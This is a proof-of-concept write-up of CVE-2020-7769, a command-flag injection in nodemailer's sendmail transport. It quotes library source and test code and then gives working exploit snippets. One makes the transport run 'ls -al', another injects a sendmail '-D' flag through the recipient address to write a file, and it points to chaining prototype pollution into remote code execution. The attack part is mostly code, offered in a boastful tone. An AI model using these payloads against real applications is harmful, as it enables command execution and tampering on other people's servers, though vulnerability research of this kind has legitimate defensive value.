# [POC] CVE-2020-7769 - Command Injection in nodemailer
## Introduction
[Command Injection in nodemailer](https://security.snyk.io/vuln/SNYK-JS-NODEMAILER-1038834)
Someday, i read some product code and found out that application using nodemailer to send email. After spending some second to audit **package-lock** file, i saw it had this CVE.
But i read that details and their POC, i still not understand what they want to deliver.
Found their commit to fix their bug and already know where the bug from
https://github.com/nodemailer/nodemailer/commit/ba31c64c910d884579875c52d57ac45acc47aa54
It comes from __send__ function, with arbitrary command flag injection in **sendmail** transport.

## POC
I found they have their test case that
```
client.send(
{
data: {},
message: new MockBuilder(
{
from: 'test@valid.sender',
to: '-d0.1a@example.com' //this line will print sendmail detail
},
'message\r\nline 2'
)
},
function (err, data) {
}
);
```
Yeah it just work on **Unix-base OS** and i test it with my Windows laptop :)))))
But I dig deeper and find some good things
```
constructor(options) {
options = options || {};
// use a reference to spawn for mocking purposes
this._spawn = spawn;
this.options = options || {};
this.name = 'Sendmail';
this.version = packageData.version;
this.path = 'sendmail';
this.args = false;
this.winbreak = false;
this.logger = shared.getLogger(this.options, {
component: this.options.component || 'sendmail'
});
if (options) {
if (typeof options === 'string') {
this.path = options;
} else if (typeof options === 'object') {
if (options.path) {
this.path = options.path;
}
if (Array.isArray(options.args)) {
this.args = options.args;
}
this.winbreak = ['win', 'windows', 'dos', '\r\n'].includes((options.newline || '').toString().toLowerCase());
}
}
}
```
This is their constructor and we can find good things that we can control
**path, args** variable by passing these property in **options**
So i craft this one to exploit
```
let client = new SendmailTransport({
host: "smtp.ethereal.email",
port: 587,
secure: false,
auth: {
user: "rudolph53@ethereal.email", //fake email
pass: "sR3KWXG8p3DhUrwant", //fake pass
},
path: 'ls',
args: ['-al']
});
client.send({
data: {},
message: new MockBuilder({
from: 'rudolph53@ethereal.email',
to: '/' //this is directory
}, 'message\r\nline 2')
}, (err, info) => {
})
```
It will list all file in directory /
But i see that almost developer don’t use send function to send email, they use **sendMail** instead
Then i have to read code again and i found we can exploit not just from **send** function.
In this code in library
```
module.exports.createTransport = function (transporter, defaults) {
let urlConfig;
let options;
let mailer;
if (
// provided transporter is a configuration object, not transporter plugin
(typeof transporter === 'object' && typeof transporter.send !== 'function') ||
// provided transporter looks like a connection url
(typeof transporter === 'string' && /^(smtps?|direct):/i.test(transporter))
) {
if ((urlConfig = typeof transporter === 'string' ? transporter : transporter.url)) {
// parse a configuration URL into configuration options
options = shared.parseConnectionUrl(urlConfig);
} else {
options = transporter;
}
if (options.pool) {
transporter = new SMTPPool(options);
} else if (options.sendmail) {
transporter = new SendmailTransport(options);
} else if (options.streamTransport) {
transporter = new StreamTransport(options);
} else if (options.jsonTransport) {
transporter = new JSONTransport(options);
} else if (options.SES) {
transporter = new SESTransport(options);
} else {
transporter = new SMTPTransport(options);
}
}
mailer = new Mailer(transporter, options, defaults);
return mailer;
};
```
It will bind **new SendmailTransport** if in options contain property **sendmail**
So i will define **sendmail** property without falsy value like this one, and tada we can inject command flag
```
const transport = nodeMailer.createTransport({
host: "smtp.ethereal.email",
port: 587,
secure: false,
auth: {
user: "rudolph53@ethereal.email",
pass: "sR3KWXG8p3DhUrwant",
},
sendmail: {} //define without falsy value
})
transport.sendMail({
from: 'rudolph53@ethereal.email',
to: '-Dabcas.txt@ethereal.email', //it will create file
subject: '123',
text: 'sibaaa'
})
```
But if we can find in that application have vulnerable with Prototype Pollution, you can RCE it with this one
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#spawn-exploitation
Because it use **spawn** of **child_process** that i show before
And that application will f* up :)))))))
So, i show you 2 ways to exploit with that CVE, kkkk